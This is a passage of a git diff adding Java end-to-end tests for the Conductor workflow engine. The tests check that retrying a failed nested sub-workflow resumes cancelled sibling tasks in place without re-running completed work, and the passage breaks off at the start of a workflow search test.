"task_in_inner_cancelled"; + String outerCancelledTaskRef = "task_in_outer_cancelled"; + + registerWorkflow(innerFailingWfName, List.of(simpleTask(innerFailingTaskRef))); + registerWorkflow(innerCancelledWfName, List.of(simpleTask(innerCancelledTaskRef))); + registerWorkflow(outerCancelledWfName, List.of(simpleTask(outerCancelledTaskRef))); + + registerWorkflow( + midWfName, + List.of( + forkJoin( + "inner_fork", + List.of( + List.of( + subWorkflowTask( + "inner_failing_ref", innerFailingWfName)), + List.of( + subWorkflowTask( + "inner_cancelled_ref", + innerCancelledWfName)))), + join("inner_join", List.of("inner_failing_ref", "inner_cancelled_ref")))); + + registerWorkflow( + topWfName, + List.of( + forkJoin( + "top_fork", + List.of( + List.of(subWorkflowTask("mid_ref", midWfName)), + List.of( + subWorkflowTask( + "outer_cancelled_ref", + outerCancelledWfName)))), + join("top_join", List.of("mid_ref", "outer_cancelled_ref"))), + 900); + + try { + String topId = start(topWfName); + + String[] midIdHolder = new String[1]; + String[] innerFailingIdHolder = new String[1]; + String[] innerCancelledIdHolder = new String[1]; + String[] outerCancelledIdHolder = new String[1]; + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow top = workflowClient.getWorkflow(topId, true); + Task midTask = + top.getTasks().stream() + .filter( + t -> + "mid_ref" + .equals( + t + .getReferenceTaskName())) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "mid_ref not found")); + Task outerCancelled = + top.getTasks().stream() + .filter( + t -> + "outer_cancelled_ref" + .equals( + t + .getReferenceTaskName())) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "outer_cancelled_ref not found")); + assertNotNull(midTask.getSubWorkflowId()); + assertNotNull(outerCancelled.getSubWorkflowId()); + midIdHolder[0] = midTask.getSubWorkflowId(); + outerCancelledIdHolder[0] = outerCancelled.getSubWorkflowId(); + + Workflow mid = workflowClient.getWorkflow(midIdHolder[0], true); + Task innerFailing = + mid.getTasks().stream() + .filter( + t -> + "inner_failing_ref" + .equals( + t + .getReferenceTaskName())) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "inner_failing_ref not found")); + Task innerCancelled = + mid.getTasks().stream() + .filter( + t -> + "inner_cancelled_ref" + .equals( + t + .getReferenceTaskName())) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "inner_cancelled_ref not found")); + assertNotNull(innerFailing.getSubWorkflowId()); + assertNotNull(innerCancelled.getSubWorkflowId()); + innerFailingIdHolder[0] = innerFailing.getSubWorkflowId(); + innerCancelledIdHolder[0] = innerCancelled.getSubWorkflowId(); + + assertFalse( + workflowClient + .getWorkflow(innerFailingIdHolder[0], true) + .getTasks() + .isEmpty()); + }); + + String midId = midIdHolder[0]; + String innerFailingId = innerFailingIdHolder[0]; + String originalInnerCancelledId = innerCancelledIdHolder[0]; + String originalOuterCancelledId = outerCancelledIdHolder[0]; + + completeTask( + findActiveTask( + innerFailingId, innerFailingTaskRef, "inner failing task not active"), + TaskResult.Status.FAILED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow top = workflowClient.getWorkflow(topId, true); + assertEquals( + Workflow.WorkflowStatus.FAILED, + top.getStatus(), + "Top should be FAILED. Got: " + top.getStatus()); + assertEquals( + Task.Status.CANCELED, + statusOf(top, "outer_cancelled_ref"), + "outer_cancelled_ref should be CANCELED"); + assertNotNull( + taskOf(top, "mid_ref").getReasonForIncompletion(), + "top.mid_ref should have reasonForIncompletion populated while FAILED"); + + Workflow mid = workflowClient.getWorkflow(midId, true); + assertEquals(Workflow.WorkflowStatus.FAILED, mid.getStatus()); + assertEquals( + Task.Status.CANCELED, + statusOf(mid, "inner_cancelled_ref"), + "inner_cancelled_ref should be CANCELED"); + assertNotNull( + taskOf(mid, "inner_failing_ref").getReasonForIncompletion(), + "mid.inner_failing_ref should have reasonForIncompletion populated while FAILED"); + }); + + workflowClient.retryWorkflow(List.of(innerFailingId)); + + awaitWorkflowStatus( + topId, + Workflow.WorkflowStatus.RUNNING, + 20, + "Top should resume to RUNNING after retry"); + awaitWorkflowStatus( + midId, + Workflow.WorkflowStatus.RUNNING, + 20, + "Mid should resume to RUNNING after retry"); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task active = + findActiveTask( + midId, + "inner_cancelled_ref", + "Expected an active inner_cancelled_ref after retry"); + assertEquals( + originalInnerCancelledId, + active.getSubWorkflowId(), + "Mid level: subWorkflowId must be PRESERVED (retry-in-place)"); + assertFalse( + workflowClient + .getWorkflow(active.getSubWorkflowId(), true) + .getStatus() + .isTerminal(), + "Mid level resumed child must be non-terminal"); + assertNull( + findActiveTask( + midId, + "inner_failing_ref", + "inner_failing_ref must be active after retry") + .getReasonForIncompletion(), + "mid.inner_failing_ref reasonForIncompletion must be cleared after retry walk-up"); + }); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task active = + findActiveTask( + topId, + "outer_cancelled_ref", + "Expected an active outer_cancelled_ref after retry"); + assertEquals( + originalOuterCancelledId, + active.getSubWorkflowId(), + "Top level: subWorkflowId must be PRESERVED (retry-in-place)"); + assertFalse( + workflowClient + .getWorkflow(active.getSubWorkflowId(), true) + .getStatus() + .isTerminal(), + "Top level resumed child must be non-terminal"); + assertNull( + findActiveTask( + topId, + "mid_ref", + "mid_ref must be active after retry") + .getReasonForIncompletion(), + "top.mid_ref reasonForIncompletion must be cleared after retry walk-up"); + }); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + originalInnerCancelledId, + innerCancelledTaskRef, + "inner_cancelled inner task must be active")); + completeTask( + findActiveTask( + originalInnerCancelledId, + innerCancelledTaskRef, + "inner_cancelled inner task missing"), + TaskResult.Status.COMPLETED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + originalOuterCancelledId, + outerCancelledTaskRef, + "outer_cancelled inner task must be active")); + completeTask( + findActiveTask( + originalOuterCancelledId, + outerCancelledTaskRef, + "outer_cancelled inner task missing"), + TaskResult.Status.COMPLETED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + innerFailingId, + innerFailingTaskRef, + "retried inner failing task must be active")); + completeTask( + findActiveTask( + innerFailingId, + innerFailingTaskRef, + "retried inner failing task missing"), + TaskResult.Status.COMPLETED); + + awaitWorkflowStatus( + topId, + Workflow.WorkflowStatus.COMPLETED, + 30, + "Top workflow should reach COMPLETED end-to-end"); + + } finally { + terminateAll( + topWfName, + midWfName, + innerFailingWfName, + innerCancelledWfName, + outerCancelledWfName); + } + } + + /** + * Retrying from the leaf failed task walks updateAndPushParents through three parent levels. + * SIMPLE cancelled siblings at the grandchild and mid levels are resumed by the existing + * else-branch (reset to SCHEDULED + re-queue). The SUB_WORKFLOW cancelled sibling at the top + * level is resumed in-place by the new branch (existing child id preserved). + */ + @Test + @DisplayName("Retry resumes cancelled siblings at parent, child, and grandchild fork levels") + public void testRetryNestedForkWithSimpleAndSubWorkflowSiblings() { + long stamp = System.currentTimeMillis(); + String topWfName = "rerun-3lvl-top-" + stamp; + String midSubWfName = "rerun-3lvl-mid-" + stamp; + String grandchildSubWfName = "rerun-3lvl-grandchild-" + stamp; + String failingLeafWfName = "rerun-3lvl-leaf-" + stamp; + String topCancelledSubWfName = "rerun-3lvl-top-cancelled-" + stamp; + + String failingLeafTaskRef = "task_in_failing_leaf"; + String grandchildCancelledSimpleRef = "grandchild_cancelled_simple"; + String midCancelledSimpleRef = "mid_cancelled_simple"; + String topCancelledTaskRef = "task_in_top_cancelled"; + + registerWorkflow(failingLeafWfName, List.of(simpleTask(failingLeafTaskRef))); + registerWorkflow(topCancelledSubWfName, List.of(simpleTask(topCancelledTaskRef))); + + registerWorkflow( + grandchildSubWfName, + List.of( + forkJoin( + "grandchild_fork", + List.of( + List.of( + subWorkflowTask( + "failing_leaf_ref", failingLeafWfName)), + List.of(simpleTask(grandchildCancelledSimpleRef)))), + join( + "grandchild_join", + List.of("failing_leaf_ref", grandchildCancelledSimpleRef)))); + + registerWorkflow( + midSubWfName, + List.of( + forkJoin( + "mid_fork", + List.of( + List.of( + subWorkflowTask( + "grandchild_ref", grandchildSubWfName)), + List.of(simpleTask(midCancelledSimpleRef)))), + join("mid_join", List.of("grandchild_ref", midCancelledSimpleRef)))); + + registerWorkflow( + topWfName, + List.of( + forkJoin( + "top_fork", + List.of( + List.of(subWorkflowTask("mid_ref", midSubWfName)), + List.of( + subWorkflowTask( + "top_cancelled_ref", + topCancelledSubWfName)))), + join("top_join", List.of("mid_ref", "top_cancelled_ref"))), + 900); + + try { + String topId = start(topWfName); + + String[] midIdHolder = new String[1]; + String[] grandchildIdHolder = new String[1]; + String[] failingLeafIdHolder = new String[1]; + String[] topCancelledIdHolder = new String[1]; + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow top = workflowClient.getWorkflow(topId, true); + Task midTask = + top.getTasks().stream() + .filter( + t -> + "mid_ref" + .equals( + t + .getReferenceTaskName())) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "mid_ref not found")); + Task topCancelled = + top.getTasks().stream() + .filter( + t -> + "top_cancelled_ref" + .equals( + t + .getReferenceTaskName())) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "top_cancelled_ref not found")); + assertNotNull(midTask.getSubWorkflowId()); + assertNotNull(topCancelled.getSubWorkflowId()); + midIdHolder[0] = midTask.getSubWorkflowId(); + topCancelledIdHolder[0] = topCancelled.getSubWorkflowId(); + + Workflow mid = workflowClient.getWorkflow(midIdHolder[0], true); + Task grandchild = + mid.getTasks().stream() + .filter( + t -> + "grandchild_ref" + .equals( + t + .getReferenceTaskName())) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "grandchild_ref not found")); + assertNotNull(grandchild.getSubWorkflowId()); + grandchildIdHolder[0] = grandchild.getSubWorkflowId(); + + Workflow grandchildWf = + workflowClient.getWorkflow(grandchildIdHolder[0], true); + Task leaf = + grandchildWf.getTasks().stream() + .filter( + t -> + "failing_leaf_ref" + .equals( + t + .getReferenceTaskName())) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "failing_leaf_ref not found")); + assertNotNull(leaf.getSubWorkflowId()); + failingLeafIdHolder[0] = leaf.getSubWorkflowId(); + assertFalse( + workflowClient + .getWorkflow(failingLeafIdHolder[0], true) + .getTasks() + .isEmpty()); + }); + + String midId = midIdHolder[0]; + String grandchildId = grandchildIdHolder[0]; + String failingLeafId = failingLeafIdHolder[0]; + String originalTopCancelledId = topCancelledIdHolder[0]; + + Workflow leaf = workflowClient.getWorkflow(failingLeafId, true); + Task leafInner = + leaf.getTasks().stream() + .filter(t -> failingLeafTaskRef.equals(t.getReferenceTaskName())) + .findFirst() + .orElseThrow(); + completeTask(leafInner, TaskResult.Status.FAILED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow top = workflowClient.getWorkflow(topId, true); + assertEquals( + Workflow.WorkflowStatus.FAILED, + top.getStatus(), + "Top should be FAILED"); + assertEquals( + Task.Status.CANCELED, + statusOf(top, "top_cancelled_ref"), + "top_cancelled_ref should be CANCELED"); + assertNotNull( + taskOf(top, "mid_ref").getReasonForIncompletion(), + "top.mid_ref should have reasonForIncompletion populated while FAILED"); + + Workflow mid = workflowClient.getWorkflow(midId, true); + assertEquals( + Workflow.WorkflowStatus.FAILED, + mid.getStatus(), + "Mid should be FAILED"); + assertEquals( + Task.Status.CANCELED, + statusOf(mid, midCancelledSimpleRef), + "mid_cancelled_simple should be CANCELED"); + assertNotNull( + taskOf(mid, "grandchild_ref").getReasonForIncompletion(), + "mid.grandchild_ref should have reasonForIncompletion populated while FAILED"); + + Workflow grandchild = + workflowClient.getWorkflow(grandchildId, true); + assertEquals( + Workflow.WorkflowStatus.FAILED, + grandchild.getStatus(), + "Grandchild should be FAILED"); + assertEquals( + Task.Status.CANCELED, + statusOf(grandchild, grandchildCancelledSimpleRef), + "grandchild_cancelled_simple should be CANCELED"); + assertNotNull( + taskOf(grandchild, "failing_leaf_ref") + .getReasonForIncompletion(), + "grandchild.failing_leaf_ref should have reasonForIncompletion populated while FAILED"); + }); + + workflowClient.retryWorkflow(List.of(failingLeafId)); + + awaitWorkflowStatus( + topId, Workflow.WorkflowStatus.RUNNING, 30, "Top must resume to RUNNING"); + awaitWorkflowStatus( + midId, Workflow.WorkflowStatus.RUNNING, 30, "Mid must resume to RUNNING"); + awaitWorkflowStatus( + grandchildId, + Workflow.WorkflowStatus.RUNNING, + 30, + "Grandchild must resume to RUNNING"); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + findActiveTask( + grandchildId, + grandchildCancelledSimpleRef, + "Expected an active grandchild_cancelled_simple after retry"); + assertNull( + findActiveTask( + grandchildId, + "failing_leaf_ref", + "failing_leaf_ref must be active after retry") + .getReasonForIncompletion(), + "grandchild.failing_leaf_ref reasonForIncompletion must be cleared after retry walk-up"); + }); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + findActiveTask( + midId, + midCancelledSimpleRef, + "Expected an active mid_cancelled_simple after retry"); + assertNull( + findActiveTask( + midId, + "grandchild_ref", + "grandchild_ref must be active after retry") + .getReasonForIncompletion(), + "mid.grandchild_ref reasonForIncompletion must be cleared after retry walk-up"); + }); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task topCancelledNow = + findActiveTask( + topId, + "top_cancelled_ref", + "Expected an active top_cancelled_ref after retry"); + assertEquals( + originalTopCancelledId, + topCancelledNow.getSubWorkflowId(), + "Top level: subWorkflowId must be PRESERVED (in-place retry)"); + Workflow resumedChild = + workflowClient.getWorkflow( + topCancelledNow.getSubWorkflowId(), true); + assertFalse( + resumedChild.getStatus().isTerminal(), + "Resumed top-cancelled child must be non-terminal"); + assertNull( + findActiveTask( + topId, + "mid_ref", + "mid_ref must be active after retry") + .getReasonForIncompletion(), + "top.mid_ref reasonForIncompletion must be cleared after retry walk-up"); + }); + + completeTask( + findActiveTask( + grandchildId, + grandchildCancelledSimpleRef, + "grandchild_cancelled_simple active task missing"), + TaskResult.Status.COMPLETED); + completeTask( + findActiveTask( + midId, + midCancelledSimpleRef, + "mid_cancelled_simple active task missing"), + TaskResult.Status.COMPLETED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + originalTopCancelledId, + topCancelledTaskRef, + "Inner task in resumed top-cancelled child must be active")); + completeTask( + findActiveTask( + originalTopCancelledId, + topCancelledTaskRef, + "top-cancelled inner task missing"), + TaskResult.Status.COMPLETED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + failingLeafId, + failingLeafTaskRef, + "Retried leaf task must be active")); + completeTask( + findActiveTask(failingLeafId, failingLeafTaskRef, "leaf retried task missing"), + TaskResult.Status.COMPLETED); + + awaitWorkflowStatus( + topId, + Workflow.WorkflowStatus.COMPLETED, + 30, + "Top workflow should reach COMPLETED end-to-end"); + + } finally { + terminateAll( + topWfName, + midSubWfName, + grandchildSubWfName, + failingLeafWfName, + topCancelledSubWfName); + } + } + + /** + * The key correctness property of retry-in-place over fresh-spawn: tasks that already COMPLETED + * inside the cancelled child must STAY COMPLETED after retry, never re-execute. + */ + @Test + @DisplayName( + "Retry-in-place preserves COMPLETED tasks inside the cancelled child (no duplicate execution)") + public void testRetryInPlacePreservesCompletedTasksInsideCancelledChild() { + long stamp = System.currentTimeMillis(); + String parentWfName = "rerun-preserve-completed-parent-" + stamp; + String failingSubWfName = "rerun-preserve-completed-failing-" + stamp; + String cancelledSubWfName = "rerun-preserve-completed-cancelled-" + stamp; + String taskInFailingSubRef = "task_in_failing_pc"; + String taskARef = "task_a_in_cancelled_pc"; + String taskBRef = "task_b_in_cancelled_pc"; + String failingSubRef = "failing_sub_ref_pc"; + String cancelledSubRef = "cancelled_sub_ref_pc"; + + registerWorkflow(failingSubWfName, List.of(simpleTask(taskInFailingSubRef))); + registerWorkflow(cancelledSubWfName, List.of(simpleTask(taskARef), simpleTask(taskBRef))); + registerWorkflow( + parentWfName, + List.of( + forkJoin( + "fork_pc", + List.of( + List.of(subWorkflowTask(failingSubRef, failingSubWfName)), + List.of( + subWorkflowTask( + cancelledSubRef, cancelledSubWfName)))), + join("join_pc", List.of(failingSubRef, cancelledSubRef)))); + + try { + String workflowId = start(parentWfName); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task cancelledSub = + findActiveTask( + workflowId, + cancelledSubRef, + "cancelled sibling missing"); + assertNotNull(cancelledSub.getSubWorkflowId()); + findActiveTask( + cancelledSub.getSubWorkflowId(), + taskARef, + "taskA should be active in cancelled child"); + Task failingSub = + findActiveTask( + workflowId, failingSubRef, "failing sub missing"); + assertNotNull(failingSub.getSubWorkflowId()); + }); + + String failingSubWorkflowId = + findActiveTask(workflowId, failingSubRef, "missing").getSubWorkflowId(); + String originalCancelledChildId = + findActiveTask(workflowId, cancelledSubRef, "missing").getSubWorkflowId(); + + completeTask( + findActiveTask( + originalCancelledChildId, + taskARef, + "taskA must be active in cancelled child"), + TaskResult.Status.COMPLETED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow ch = + workflowClient.getWorkflow(originalCancelledChildId, true); + assertEquals( + Task.Status.COMPLETED, + statusOf(ch, taskARef), + "taskA should be COMPLETED in cancelled child"); + findActiveTask( + ch, + taskBRef, + "taskB should be active (taskA done, taskB scheduled/in-progress)"); + }); + Task originalTaskA = + workflowClient.getWorkflow(originalCancelledChildId, true).getTasks().stream() + .filter( + t -> + taskARef.equals(t.getReferenceTaskName()) + && t.getStatus() == Task.Status.COMPLETED) + .findFirst() + .orElseThrow(); + String originalTaskAId = originalTaskA.getTaskId(); + long originalTaskAEndTime = originalTaskA.getEndTime(); + + completeTask( + findActiveTask( + failingSubWorkflowId, + taskInFailingSubRef, + "failing inner task not active"), + TaskResult.Status.FAILED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.FAILED, wf.getStatus()); + Workflow ch = + workflowClient.getWorkflow(originalCancelledChildId, true); + assertTrue( + ch.getStatus().isTerminal(), + "Cancelled child should be terminal. Got: " + + ch.getStatus()); + assertEquals( + Task.Status.COMPLETED, + statusOf(ch, taskARef), + "taskA must still be COMPLETED inside the terminated cancelled child"); + assertNotNull( + taskOf(wf, failingSubRef).getReasonForIncompletion(), + "failing_sub_ref should have reasonForIncompletion populated while FAILED"); + }); + + workflowClient.retryWorkflow(List.of(failingSubWorkflowId)); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task siblingTaskNow = + findActiveTask( + workflowId, + cancelledSubRef, + "cancelled sibling task should be active after retry"); + assertEquals( + originalCancelledChildId, + siblingTaskNow.getSubWorkflowId(), + "subWorkflowId must be PRESERVED — retry-in-place"); + + Workflow ch = + workflowClient.getWorkflow(originalCancelledChildId, true); + assertFalse( + ch.getStatus().isTerminal(), + "Resumed child must be non-terminal. Got: " + + ch.getStatus()); + + assertNull( + findActiveTask( + workflowId, + failingSubRef, + "failing_sub_ref must be active after retry") + .getReasonForIncompletion(), + "failing_sub_ref reasonForIncompletion must be cleared after retry walk-up"); + + Task taskAAfterRetry = + ch.getTasks().stream() + .filter( + t -> + taskARef.equals( + t + .getReferenceTaskName()) + && t.getStatus() + == Task.Status + .COMPLETED) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "taskA must remain COMPLETED after retry — fresh-spawn would have re-executed it")); + assertEquals( + originalTaskAId, + taskAAfterRetry.getTaskId(), + "taskA must be the same task instance — not a re-executed copy"); + assertEquals( + originalTaskAEndTime, + taskAAfterRetry.getEndTime(), + "taskA's endTime must be unchanged — proves it was not re-executed"); + }); + + } finally { + terminateAll(parentWfName, failingSubWfName, cancelledSubWfName); + } + } + + /** + * Retrying a sub-workflow (the child) re-runs its failed inner task in place and the parent's + * SUB_WORKFLOW task is resumed with the same child id. + */ + @Test + @DisplayName("Retry on a sub-workflow retries the failed task inside it") + public void testRetrySubWorkflowRetriesFailedInnerTask() { + long stamp = System.currentTimeMillis(); + String parentWfName = "retry-subwf-inner-parent-" + stamp; + String childWfName = "retry-subwf-inner-child-" + stamp; + String innerTaskRef = "inner_task_retry_inner"; + String subRef = "sub_ref_retry_inner"; + + registerWorkflow(childWfName, List.of(simpleTask(innerTaskRef))); + registerWorkflow(parentWfName, List.of(subWorkflowTask(subRef, childWfName))); + + try { + String workflowId = start(parentWfName); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task sub = + findActiveTask( + workflowId, subRef, "sub task should be active"); + assertNotNull(sub.getSubWorkflowId()); + findActiveTask( + sub.getSubWorkflowId(), + innerTaskRef, + "inner task should be active in child"); + }); + + String childId = + findActiveTask(workflowId, subRef, "sub task should be active") + .getSubWorkflowId(); + + Task innerTask = findActiveTask(childId, innerTaskRef, "inner task not active"); + String failedTaskId = innerTask.getTaskId(); + completeTask(innerTask, TaskResult.Status.FAILED); + + awaitWorkflowStatus( + workflowId, Workflow.WorkflowStatus.FAILED, "Parent should be FAILED"); + awaitWorkflowStatus(childId, Workflow.WorkflowStatus.FAILED, "Child should be FAILED"); + assertNotNull( + taskOf(workflowClient.getWorkflow(workflowId, true), subRef) + .getReasonForIncompletion(), + "parent sub_ref should have reasonForIncompletion populated while FAILED"); + + workflowClient.retryWorkflow(List.of(childId)); + + awaitWorkflowStatus( + childId, Workflow.WorkflowStatus.RUNNING, "Child must be RUNNING after retry"); + awaitWorkflowStatus( + workflowId, + Workflow.WorkflowStatus.RUNNING, + "Parent must be RUNNING after retry"); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task retried = + findActiveTask( + childId, + innerTaskRef, + "A fresh attempt of inner_task must be active after retry"); + assertNotEquals( + failedTaskId, + retried.getTaskId(), + "Retried task should be a new attempt (different taskId)"); + Task subNow = + findActiveTask( + workflowId, + subRef, + "parent sub_ref must be active"); + assertEquals( + childId, + subNow.getSubWorkflowId(), + "Parent's SUB_WORKFLOW task must still point at the same child"); + assertNull( + subNow.getReasonForIncompletion(), + "parent sub_ref reasonForIncompletion must be cleared after retry walk-up"); + }); + + completeTask( + findActiveTask(childId, innerTaskRef, "retried task missing"), + TaskResult.Status.COMPLETED); + + awaitWorkflowStatus( + workflowId, + Workflow.WorkflowStatus.COMPLETED, + 20, + "Parent should reach COMPLETED"); + + } finally { + terminateAll(parentWfName, childWfName); + } + } + + // ---------------- Shared helpers ---------------- + + private Workflow completeTask(Task task, TaskResult.Status status) { + return taskClient.updateTaskSync( + task.getWorkflowInstanceId(), + task.getReferenceTaskName(), + status, + task.getOutputData()); + } + + private static WorkflowTask simpleTask(String refName) { + TaskDef def = new TaskDef(refName); + def.setRetryCount(0); + def.setOwnerEmail("test@conductor.io"); + WorkflowTask wt = new WorkflowTask(); + wt.setTaskReferenceName(refName); + wt.setName(refName); + wt.setTaskDefinition(def); + wt.setWorkflowTaskType(TaskType.SIMPLE); + return wt; + } + + private static WorkflowTask subWorkflowTask(String refName, String subWorkflowName) { + SubWorkflowParams params = new SubWorkflowParams(); + params.setName(subWorkflowName); + params.setVersion(1); + WorkflowTask wt = new WorkflowTask(); + wt.setTaskReferenceName(refName); + wt.setName(subWorkflowName); + wt.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + wt.setSubWorkflowParam(params); + return wt; + } + + private static WorkflowTask forkJoin(String refName, List> branches) { + WorkflowTask fork = new WorkflowTask(); + fork.setTaskReferenceName(refName); + fork.setName("FORK_JOIN"); + fork.setWorkflowTaskType(TaskType.FORK_JOIN); + fork.setForkTasks(branches); + return fork; + } + + private static WorkflowTask join(String refName, List joinOn) { + WorkflowTask join = new WorkflowTask(); + join.setTaskReferenceName(refName); + join.setName("JOIN"); + join.setWorkflowTaskType(TaskType.JOIN); + join.setJoinOn(joinOn); + return join; + } + + private void registerWorkflow(String name, List tasks) { + registerWorkflow(name, tasks, 600); + } + + private void registerWorkflow(String name, List tasks, int timeoutSeconds) { + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setOwnerEmail("test@conductor.io"); + def.setTimeoutSeconds(timeoutSeconds); + def.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + def.setTasks(tasks); + metadataClient.registerWorkflowDef(def); + } + + private static Task findActiveTask(Workflow wf, String refName, String errorMessage) { + return wf.getTasks().stream() + .filter( + t -> + refName.equals(t.getReferenceTaskName()) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow(() -> new AssertionError(errorMessage)); + } + + private Task findActiveTask(String workflowId, String refName, String errorMessage) { + return findActiveTask(workflowClient.getWorkflow(workflowId, true), refName, errorMessage); + } + + private static Task.Status statusOf(Workflow wf, String refName) { + return taskOf(wf, refName).getStatus(); + } + + private static Task taskOf(Workflow wf, String refName) { + return wf.getTasks().stream() + .filter(t -> refName.equals(t.getReferenceTaskName())) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + refName + " not found in workflow " + wf.getWorkflowId())); + } + + private String start(String workflowName) { + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(workflowName); + req.setVersion(1); + return workflowClient.startWorkflow(req); + } + + private void terminateAll(String... workflowNames) { + for (String name : workflowNames) { + try { + terminateExistingRunningWorkflows(name); + } catch (Exception ignore) { + /* best-effort */ + } + } + } + + private void awaitWorkflowStatus( + String workflowId, Workflow.WorkflowStatus expected, String message) { + awaitWorkflowStatus(workflowId, expected, WF_AWAIT_SECS, message); + } + + private void awaitWorkflowStatus( + String workflowId, Workflow.WorkflowStatus expected, int seconds, String message) { + await().atMost(seconds, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + expected, + workflowClient.getWorkflow(workflowId, false).getStatus(), + message)); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowSearchTests.java b/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowSearchTests.java new file mode 100644 index 0000000..4301f43 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowSearchTests.java @@ -0,0 +1,357 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.workflow; + +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicReference; + +import org.apache.commons.lang3.RandomStringUtils; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.WorkflowSummary; + +import io.conductor.e2e.util.ApiUtil; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +public class WorkflowSearchTests { + + // NOTE: testWorkflowSearchPermissions was removed because it uses enterprise-only features: + // TagObject, AuthorizationClient, SubjectRef, TargetRef, AuthorizationRequest, + // UpsertGroupRequest + // which are not available in conductor-oss. + + @Test + public void testBasicWorkflowSearch() { + + WorkflowClient workflowAdminClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataAdminClient = ApiUtil.METADATA_CLIENT; + String taskName1 = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String workflowName1 = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + // Run workflow search it should return 0 result + AtomicReference> workflowSummarySearchResult = + new AtomicReference<>( + workflowAdminClient.search("workflowType IN (" + workflowName1 + ")")); + assertEquals(workflowSummarySearchResult.get().getResults().size(), 0); + + // Register workflow + registerWorkflowDef(workflowName1, taskName1, metadataAdminClient); + + // Trigger two workflows + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName1); + startWorkflowRequest.setVersion(1); + + workflowAdminClient.startWorkflow(startWorkflowRequest); + workflowAdminClient.startWorkflow(startWorkflowRequest); + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(100, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + workflowSummarySearchResult.set( + workflowAdminClient.search( + "workflowType IN (" + workflowName1 + ")")); + assertEquals(2, workflowSummarySearchResult.get().getResults().size()); + }); + + // Register another workflow + String taskName2 = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String workflowName2 = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + registerWorkflowDef(workflowName2, taskName2, metadataAdminClient); + + startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName2); + 